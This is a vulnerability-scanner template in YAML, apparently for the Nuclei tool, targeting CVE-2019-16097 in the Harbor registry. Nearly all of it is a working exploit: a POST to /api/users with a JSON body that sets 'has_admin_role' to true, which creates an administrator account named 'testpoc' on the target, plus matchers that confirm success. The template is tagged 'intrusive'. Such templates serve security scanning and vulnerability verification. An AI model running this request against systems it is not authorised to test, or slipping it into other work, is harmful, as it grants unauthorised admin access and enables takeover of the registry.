32 lines
901 B
YAML
32 lines
901 B
YAML
id: CVE-2019-16097
|
|
info:
|
|
name: Harbor Enables Privilege Escalation From Zero to admin
|
|
author: pikpikcu
|
|
severity: critical
|
|
issues: https://github.com/goharbor/harbor/issues/8951
|
|
reference: https://unit42.paloaltonetworks.com/critical-vulnerability-in-harbor-enables-privilege-escalation-from-zero-to-admin-cve-2019-16097/
|
|
tags: cve,cve2019,intrusive,harbor
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- '{{BaseURL}}/api/users'
|
|
headers:
|
|
Content-Type: application/json
|
|
body: |
|
|
{"username": "testpoc", "has_admin_role": true, "password": "TestPoc!", "email": "testpoc@example.com", "realname": "poc"}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "username has already been used"
|
|
- "Location: /api/users/"
|
|
part: all
|
|
condition: or
|
|
|
|
- type: status
|
|
status:
|
|
- 201
|
|
- 409
|